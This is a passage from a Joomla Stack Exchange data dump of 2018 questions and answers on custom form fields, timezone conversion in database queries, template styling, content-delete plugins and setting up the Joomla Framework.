&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;span3&quot;&amp;gt;&#xA;        &amp;lt;?php echo JLayoutHelper::render('joomla.edit.global', $this); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't know how to make &lt;code&gt;$this-&amp;gt;form-&amp;gt;renderField();&lt;/code&gt; work for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read &lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type/en&quot; rel=&quot;noreferrer&quot;&gt;https://docs.joomla.org/Creating_a_custom_form_field_type/en&lt;/a&gt; but this only solves half of the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to deliver this component with attention to &lt;a href=&quot;https://en.wikipedia.org/wiki/Mise_en_place&quot; rel=&quot;noreferrer&quot;&gt;mise en place&lt;/a&gt; for my own education -- so please only suggest best practices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be more specific:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I create a new .php file in &lt;code&gt;com_image/models/fields&lt;/code&gt; so that I can extend JFormFieldNote? If so, how do I pass my &lt;code&gt;$this-&amp;gt;item-&amp;gt;location&lt;/code&gt; value to &lt;code&gt;getLabel()&lt;/code&gt;? And how to do I call the new custom note back from edit.php? I don't want to modify &lt;code&gt;com_image/config.xml&lt;/code&gt;, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current screenshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JPOPJ.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JPOPJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think GDP's answer is not quite right for my purpose: &lt;a href=&quot;https://joomla.stackexchange.com/q/5469/12352&quot;&gt;How can I dynamically generate a form&amp;#39;s XML from PHP?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This isn't it: &lt;a href=&quot;https://joomla.stackexchange.com/q/19422/12352&quot;&gt;Custom &amp;#39;dynamic&amp;#39; form field creation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I reckon this is pretty close: &lt;a href=&quot;https://joomla.stackexchange.com/q/14229/12352&quot;&gt;Passing Arguments for custom field&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. If there is a better way to deal with the image element, I'd be happy to hear that too.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-09-03T11:40:32.033" LastActivityDate="2018-09-05T19:02:09.027" Title="How to generate a dynamic note field for a custom component?" Tags="|custom-component|custom-field|form-fields-types|class-extensions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23392" PostTypeId="2" ParentId="23391" CreationDate="2018-09-03T07:11:58.880" Score="5" Body="&lt;p&gt;Use &lt;code&gt;Form::setFieldAttribute()&lt;/code&gt;. Typically, this is done in the model's &lt;code&gt;getForm()&lt;/code&gt; method. However, if it's cosmetic only, it can be done in the view too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;strong&gt;/administrator/com_image/models/forms/image.xml&lt;/strong&gt; (outside of a &lt;code&gt;&amp;lt;fieldset&amp;gt;&lt;/code&gt; is fine):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    name=&quot;myNote&quot;&#xA;    type=&quot;note&quot;&#xA;    class=&quot;alert alert-info&quot;&#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In &lt;strong&gt;/administrator/com_image/views/image/view.html.php&lt;/strong&gt; (just before &lt;code&gt;$this-&amp;gt;addToolbar();&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;form-&amp;gt;setFieldAttribute('myNote', 'label', $this-&amp;gt;item-&amp;gt;location);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In &lt;strong&gt;/administrator/com_image/views/image/tmpl/edit.php&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $this-&amp;gt;form-&amp;gt;renderField('myNote');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To create a field without editing XML file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$note = new \SimpleXMLElement('&amp;lt;field /&amp;gt;');&#xA;$note-&amp;gt;addAttribute('name', 'myNote');&#xA;$note-&amp;gt;addAttribute('type', 'note');&#xA;$note-&amp;gt;addAttribute('label', $this-&amp;gt;item-&amp;gt;location);&#xA;$note-&amp;gt;addAttribute('class', 'alert alert-info');&#xA;$this-&amp;gt;form-&amp;gt;setField($note);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2018-09-05T19:02:09.027" LastActivityDate="2018-09-05T19:02:09.027" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23394" PostTypeId="1" AcceptedAnswerId="23395" CreationDate="2018-09-03T22:12:08.860" Score="3" ViewCount="162" Body="&lt;p&gt;This is my current query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$uvdatetime = JFactory::getDate('now', new DateTimeZone('Europe/Athens')); &#xA;&#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true); &#xA;$query-&amp;gt;select(&quot;distinct &quot;. $db-&amp;gt;quoteName('catid'));&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('jos_k2_items'));&#xA;$query-&amp;gt;where($db-&amp;gt;quoteName('publish_up') .' &amp;lt;= '. $db-&amp;gt;quote( $uvdatetime ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need to convert the timezone of the &lt;code&gt;publish_up&lt;/code&gt; field from UTC to EET in order to compare correctly with &lt;code&gt;$uvdatetime&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After searching, I tried to use &lt;code&gt;compare_tz&lt;/code&gt; like below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;where convert_tz($db-&amp;gt;quoteName('publish_up'),'GMT','EET') .' &amp;lt;= '. $db-&amp;gt;quote( $uvdatetime );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I get the following message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;unexpected T_STRING&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is there a way to use &lt;code&gt;convert_tz&lt;/code&gt; in a joomla query?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, is there a different/better way to accomplish this conversion?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: i have to clarify the purpose of this code to avoid confusion&lt;br/&gt;&#xA;my initial goal is to give a class style to a menu item when an article is written TODAY.&lt;br/&gt;The problem is that if an article is saved with a publish date between 00:00 and 03:00 (EEST) joomla saves it as UTC.&lt;br/&gt;so for example: &quot;2018-09-04 01:00:00&quot; is saved as &quot;2018-09-03 22:00:00&quot;. it goes back one day...&lt;br/&gt; this is what i am trying to convert. the time and the date.&#xA;i was using a much simpler query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = &quot;SELECT DISTINCT catid FROM jos_k2_items WHERE DATE(publish_up)&amp;gt;=CURDATE()&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but still.. convert_tz doesn't work&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Final steps in order @mickmackusa's second solution(and definitely the best) to work&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Specs: Centos 7.5, MariaDB 5.5, plesk 17.8 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;we need to load the timezones to mysql.(i followed &lt;a href=&quot;https://stackoverflow.com/a/15419843/3370696&quot;&gt;this excellent post&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i run &lt;code&gt;SELECT CONVERT_TZ('2012-06-07 12:00:00', 'GMT', 'America/New_York');&lt;/code&gt;&#xA;and it returned null. this means time zones are not loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so i logged with ssh and give&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mysql_tzinfo_to_sql /usr/share/zoneinfo | mysql -u admin -p`cat /etc/psa/.psa.shadow` mysql&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;remember this is a plesk installation. use your &quot;-u root&quot; and your mysql password if not plesk.&#xA;you may get 2 warnings &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: Unable to load '/usr/share/zoneinfo/leapseconds' as time zone. Skipping it.&#xA;Warning: Unable to load '/usr/share/zoneinfo/tzdata.zi' as time zone. Skipping it.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;based on &lt;a href=&quot;https://stackoverflow.com/questions/37356415/load-mysql-timezone-tables&quot;&gt;this&lt;/a&gt; you are good to go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now zones are loaded. you can run the previous query to test it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and now we can use mick's query to convert the timezone properly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $query-&amp;gt;where(&quot;DATE(CONVERT_TZ(publish_up, 'GMT', 'Europe/Athens')) = DATE(CONVERT_TZ(NOW(), 'GMT', 'Europe/Athens'))&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;had to change EET with Europe/Athens &lt;/p&gt;&#xA;&#xA;&lt;p&gt;pretty awesome. cheers!&lt;/p&gt;&#xA;" OwnerUserId="12838" LastEditorUserId="12838" LastEditDate="2018-09-05T12:23:22.343" LastActivityDate="2018-09-05T12:28:20.343" Title="How to use convert_tz in a joomla query?" Tags="|k2|jdate|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23395" PostTypeId="2" ParentId="23394" CreationDate="2018-09-03T22:47:35.717" Score="2" Body="&lt;p&gt;Rather than using &lt;code&gt;CONVERT_TZ()&lt;/code&gt;, you can use &lt;code&gt;INTERVAL&lt;/code&gt; in your query to execute a daylight-savings-ignorant conversion and avoid the use of a php variable.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;where(&quot;DATE(publish_up + INTERVAL 3 HOUR) = DATE(NOW() + INTERVAL 3 HOUR)&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will bump the current time and the &lt;code&gt;publish_up&lt;/code&gt; time forward so that you can determine which rows fall on the current day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an sqlfiddle: &lt;a href=&quot;http://sqlfiddle.com/#!9/859cd7/4&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://sqlfiddle.com/#!9/859cd7/4&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;However, if you need the accuracy of a daylight-saving-sensitive solution, then you can use &lt;code&gt;CONVERT_TZ()&lt;/code&gt; on both sides of the comparison, but you may need to update your database's timezone table to handle the abbreviations (you can search Stackoverflow or the greater web to find instructions on this).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;where(&quot;DATE(CONVERT_TZ(publish_up, 'GMT', 'EET')) = DATE(CONVERT_TZ(NOW(), 'GMT', 'EET'))&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;*In your original snippet, you need to pass the [convert_tz()][1] function as a string into the query builder.  You were missing an some parentheses and quoting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*&lt;code&gt;publish_up&lt;/code&gt; doesn't technically require backticks, so your query will be easier to read if omitted.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-09-05T12:28:20.343" LastActivityDate="2018-09-05T12:28:20.343" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23396" PostTypeId="2" ParentId="23394" CreationDate="2018-09-03T22:52:15.140" Score="1" Body="&lt;p&gt;There are obvious php syntax errors in what you have tried.&#xA;The &lt;code&gt;convert_tz&lt;/code&gt; is a MySQL function and you need it to pass it inside the query as a tring to be processed by MySQL. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try something like below: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;where('convert_tz('. $db-&amp;gt;quoteName('publish_up').', &quot;+00:00&quot;,&quot;+03:00&quot;) &amp;lt;= '. $db-&amp;gt;quote( $uvdatetime ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Finally you may want to consult &lt;a href=&quot;https://dev.mysql.com/doc/refman/5.7/en/date-and-time-functions.html#function_convert-tz&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;MySQL docs&lt;/strong&gt;&lt;/a&gt; about using named time zones with the &lt;code&gt;convert_tz&lt;/code&gt; function &lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2018-09-03T22:52:15.140" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23397" PostTypeId="1" CreationDate="2018-09-04T11:21:07.673" Score="1" ViewCount="725" Body="&lt;p&gt;Is it possible to set background image to whole body?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to put into different files (&lt;code&gt;Extensions -&amp;gt; Templates -&amp;gt; Templates -&amp;gt; Details and Files&lt;/code&gt;):&#xA;* css/custom-styles.tpl.css&#xA;* less/template-j4.less&#xA;* less/template.less&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nothing happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I added it into &lt;code&gt;css/custom-styles.tpl.css&lt;/code&gt; then in preview (&lt;code&gt;Extensions -&amp;gt; Templates -&amp;gt; Styles -&amp;gt; Edit&lt;/code&gt;) the background is present, but not on the real site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no body background image option in &lt;code&gt;... Styles -&amp;gt; Edit&lt;/code&gt; either, only backgrounds for different parts (header, navigation, etc) or background color for whole body.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Version is 3.8.11&lt;/p&gt;&#xA;" OwnerUserId="9433" LastActivityDate="2018-09-05T03:13:39.223" Title="Set background image to body" Tags="|joomla3.8|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23398" PostTypeId="1" AcceptedAnswerId="23403" CreationDate="2018-09-04T18:44:17.237" Score="1" ViewCount="366" Body="&lt;p&gt;I´m still new to Joomla and to coding SQL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking about how I should manage a big system I made with information that is saved in a sql table, that contains some user input and the &quot;id&quot; of an article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you or another administrator deletes an article, I guess I have to delete the row containing that articles id in my custom sql table too?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to make a script that gets executed every time an article gets deleted? that way I could maybe get the article id and then remove it from my custom table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you guys handle your custom sql tables that contains references to articles or users in Joomla?&lt;/p&gt;&#xA;" OwnerUserId="12743" LastActivityDate="2018-09-05T05:48:07.960" Title="Delete row from custom made SQL when deleting article in Joomla" Tags="|joomla-3.x|articles|user|sql|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23399" PostTypeId="1" CreationDate="2018-09-04T19:05:45.870" Score="0" ViewCount="135" Body="&lt;p&gt;I have following site structure, 2 big anchored articles:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Frontpage, url=/, menu item type=article&lt;/li&gt;&#xA;&lt;li&gt;About Us, url=index.html#about-us&lt;/li&gt;&#xA;&lt;li&gt;Contacts, url=index.html#contacts&lt;/li&gt;&#xA;&lt;li&gt;Article1, url=articles.html#article1&lt;/li&gt;&#xA;&lt;li&gt;Article2, url=articles.html#article2&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Those are all separate menu items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;index.html is necessary so it works on articles page. But can I get rid of this? Its bad also in that sense that when frontpage has link e.g &quot;#contacts&quot; it will reload the page.&lt;/p&gt;&#xA;" OwnerUserId="9433" LastActivityDate="2020-12-06T01:01:35.153" Title="Link to article with anchor" Tags="|menu-item|joomla3.8|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23400" PostTypeId="1" AcceptedAnswerId="23401" CreationDate="2018-09-04T23:28:46.017" Score="3" ViewCount="119" Body="&lt;p&gt;I have over 100 pages to create and they will have the same exact content except for one variable (dog breed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;www.dog.com/husky-dog&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;www.dog.com/rottweiler-dog&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;www.dog.com/pitbull-dog&lt;/code&gt;&#xA;and so on...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All of the pages have the same module (where the dog breed variable field is located).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know what's the best way to create that many pages without having to create one article, one menu item and one module association for each of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that my site is multilingual so the manual process is even longer.&lt;/p&gt;&#xA;" OwnerUserId="12861" LastEditorUserId="12352" LastEditDate="2018-09-05T05:13:11.900" LastActivityDate="2018-09-11T06:39:16.173" Title="How to create many pages with the same content except for one variable?" Tags="|joomla-3.x|articles|multilingual|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23401" PostTypeId="2" ParentId="23400" CreationDate="2018-09-05T01:16:09.300" Score="2" Body="&lt;p&gt;The simple administration method would be&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Install Regular Labs' Add To Menu plugin&lt;/li&gt;&#xA;&lt;li&gt;After saving the first article, click the &lt;strong&gt;Add To menu&lt;/strong&gt; button and quickly add&lt;/li&gt;&#xA;&lt;li&gt;Next, do &lt;strong&gt;Save as copy&lt;/strong&gt; and change the title and alias&lt;/li&gt;&#xA;&lt;li&gt;Do the Add to menu again&lt;/li&gt;&#xA;&lt;li&gt;Repeat steps 3 and 4&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Other quite tedious and possible confusing method is to prepare a .sql file and write the INSERT values for the __content table with the same introtext and change the other necessary columns&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then write INSERTS for the __menu table&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then import the file via your db manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the add to menu plugin at &lt;a href=&quot;https://extensions.joomla.org/extension/add-to-menu/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Regular Labs add to menu plugin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12862" LastEditorUserId="12862" LastEditDate="2018-09-05T02:05:02.267" LastActivityDate="2018-09-05T02:05:02.267" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23402" PostTypeId="2" ParentId="23397" CreationDate="2018-09-05T03:13:39.223" Score="1" Body="&lt;p&gt;If you are correctly adding the property to the body element yet it does not display, it's possible the system cache is enabled or the template has a cache method in use and the changes to the custom-styles.tpl.css is not being used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also it may be that your bg property is being overridden by another. Use !important in the css instruction, and if still nothing appears, confirm that the path to the image is correct. Test with an absolute URL.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;body {background: url(relative/path/to/image/bg.jpg) !important;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12862" LastActivityDate="2018-09-05T03:13:39.223" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23403" PostTypeId="2" ParentId="23398" CreationDate="2018-09-05T05:42:51.060" Score="2" Body="&lt;p&gt;Create a plugin with &lt;code&gt;onContentAfterDelete&lt;/code&gt; event. Basic example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Plugin\CMSPlugin;&#xA;&#xA;class PlgContentExample extends CMSPlugin&#xA;{&#xA;    public function onContentAfterDelete($context, $item)&#xA;    {&#xA;        // Check that the deleted item is an article.&#xA;        if ($context !== 'com_content.article')&#xA;        {&#xA;            return true;&#xA;        }&#xA;&#xA;        $db = Factory::getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true)&#xA;            -&amp;gt;delete($db-&amp;gt;quoteName('#__customtable'))&#xA;            -&amp;gt;where($db-&amp;gt;quoteName('article_id') . ' = ' . (int) $item-&amp;gt;id);&#xA;        $db-&amp;gt;setQuery($query);&#xA;&#xA;        try&#xA;        {&#xA;            $db-&amp;gt;execute();&#xA;        }&#xA;        catch (\RuntimeException $e)&#xA;        {&#xA;            // Informational log only&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace &lt;code&gt;#__customtable&lt;/code&gt; with the name of your table and &lt;code&gt;article_id&lt;/code&gt; with the column that holds article IDs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Docs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Plugin/Events/Content#onContentAfterDelete&quot; rel=&quot;nofollow noreferrer&quot;&gt;Plugin/Events/Content&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_content_plugin&quot; rel=&quot;nofollow noreferrer&quot;&gt;Creating a content plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Category:Plugin_Development&quot; rel=&quot;nofollow noreferrer&quot;&gt;Plugin Development&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2018-09-05T05:48:07.960" LastActivityDate="2018-09-05T05:48:07.960" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23404" PostTypeId="1" AcceptedAnswerId="23406" CreationDate="2018-09-05T09:37:06.053" Score="3" ViewCount="4012" Body="&lt;p&gt;how can I get the full url parameter with the url-encoded values&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;?myParam=dummy%C3%B6%C3%A4%C3%BC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is the decoded url: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;?myParam=dummyöäü&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if I use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$myText = urldecode(JFactory::getApplication()-&amp;gt;input-&amp;gt;get('myParam'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the encoded or directly entered umlauts are missing in my var myText&lt;/p&gt;&#xA;" OwnerUserId="3956" LastActivityDate="2018-09-05T10:55:44.903" Title="How to get URL parameter via Joomla api with decoded strings?" Tags="|joomla-3.x|joomla-api|url|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23406" PostTypeId="2" ParentId="23404" CreationDate="2018-09-05T10:55:44.903" Score="3" Body="&lt;p&gt;Use &lt;code&gt;string&lt;/code&gt; filter instead of the default &lt;code&gt;cmd&lt;/code&gt; filter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getApplication()-&amp;gt;input-&amp;gt;get('myParam', '', 'string')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getApplication()-&amp;gt;input-&amp;gt;getString('myParam')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-09-05T10:55:44.903" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23407" PostTypeId="1" AcceptedAnswerId="23410" CreationDate="2018-09-05T15:42:07.893" Score="2" ViewCount="63" Body="&lt;p&gt;I'm deeply interested in getting a very basic Joomla Framework site going, but constantly run into ancient or missing documentation on how to get started.  The &quot;official&quot; site points to a 5 year old build, and anything I find online presumes a lot of existing knowledge with the answers.  Additionally, we don't install 3rd party apps to be real handy at Composer, Git, etc., so just understanding the basic directory structure has been impossible&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case, the only functions I'm looking for are the CLI and Database functions.  I've stumbled around the installation tools, but end up with all sorts of test, src, vendor type folders with repositories, etc., and frankly, it leaves me completely baffled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some downloadable &quot;zip&quot; type file, or other resource that can show what the finished &quot;product&quot; should look like? In other words, a VERY basic, but &lt;em&gt;complete&lt;/em&gt; folder to say, make the CLI package work?  I have all these repositories, folders, and Git files, but have no idea where which ones belong in my &quot;\site&quot; folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&#xA;With the always-amazing assistance from Lodder, I managed to get this installed and apparently working.  The &lt;code&gt;composer.json&lt;/code&gt; was the trick (along with a plain statement that IT does the downloading, not me). Then after upgrading to PHP7 and &lt;em&gt;properly&lt;/em&gt; using Composer, I managed to get a &lt;code&gt;composer.json&lt;/code&gt; (see below) that brought it altogether as needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For future reference, the accepted answer is a compilation of all the disjointed links about The Framework, and bringing them together for a successful installation of the Application, database, and CLI. (--- Thanks again Lodder)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;name&quot;: &quot;joomla/application&quot;,&#xA;    &quot;type&quot;: &quot;joomla-package&quot;,&#xA;    &quot;description&quot;: &quot;Joomla Application Package&quot;,&#xA;    &quot;keywords&quot;: [&quot;joomla&quot;, &quot;framework&quot;, &quot;application&quot;],&#xA;    &quot;homepage&quot;: &quot;https://github.com/joomla-framework/application&quot;,&#xA;    &quot;license&quot;: &quot;GPL-2.0-or-later&quot;,&#xA;    &quot;require&quot;: {&#xA;        &quot;php&quot;: &quot;^5.3.10|~7.0&quot;,&#xA;        &quot;joomla/input&quot;: &quot;~1.2&quot;,&#xA;        &quot;joomla/registry&quot;: &quot;^1.4.5|~2.0&quot;,&#xA;        &quot;psr/log&quot;: &quot;~1.0&quot;,&#xA;        &quot;joomla/string&quot;: &quot;~2.0&quot;,&#xA;        &quot;symfony/console&quot;: &quot;~3.4|~4.0&quot;    },&#xA;    &quot;require-dev&quot;: {&#xA;        &quot;joomla/coding-standards&quot;: &quot;~2.0@alpha&quot;,&#xA;        &quot;joomla/event&quot;: &quot;~1.2|~2.0&quot;,&#xA;        &quot;joomla/session&quot;: &quot;^1.2.1|~2.0&quot;,&#xA;        &quot;joomla/test&quot;: &quot;~1.1&quot;,&#xA;        &quot;joomla/uri&quot;: &quot;~1.1&quot;,&#xA;        &quot;phpunit/phpunit&quot;: &quot;^4.8.35|^5.4.3|~6.0&quot;&#xA;    },&#xA;    &quot;suggest&quot;: {&#xA;        &quot;joomla/session&quot;: &quot;To use AbstractWebApplication with session support, install joomla/session&quot;,&#xA;        &quot;joomla/uri&quot;: &quot;To use AbstractWebApplication, install joomla/uri&quot;&#xA;    },&#xA;    &quot;autoload&quot;: {&#xA;        &quot;psr-4&quot;: {&#xA;            &quot;Joomla\\Application\\&quot;: &quot;src/&quot;&#xA;        }&#xA;    },&#xA;    &quot;autoload-dev&quot;: {&#xA;        &quot;psr-4&quot;: {&#xA;            &quot;Joomla\\Application\\Tests\\&quot;: &quot;Tests/&quot;&#xA;        }&#xA;    },&#xA;    &quot;minimum-stability&quot;: &quot;dev&quot;,&#xA;    &quot;extra&quot;: {&#xA;        &quot;branch-alias&quot;: {&#xA;            &quot;dev-master&quot;: &quot;1.x-dev&quot;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2018-09-06T16:23:39.037" LastActivityDate="2018-09-06T16:23:39.037" Title="Seeking a current Framework Starting Point" Tags="|joomla-framework-1.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
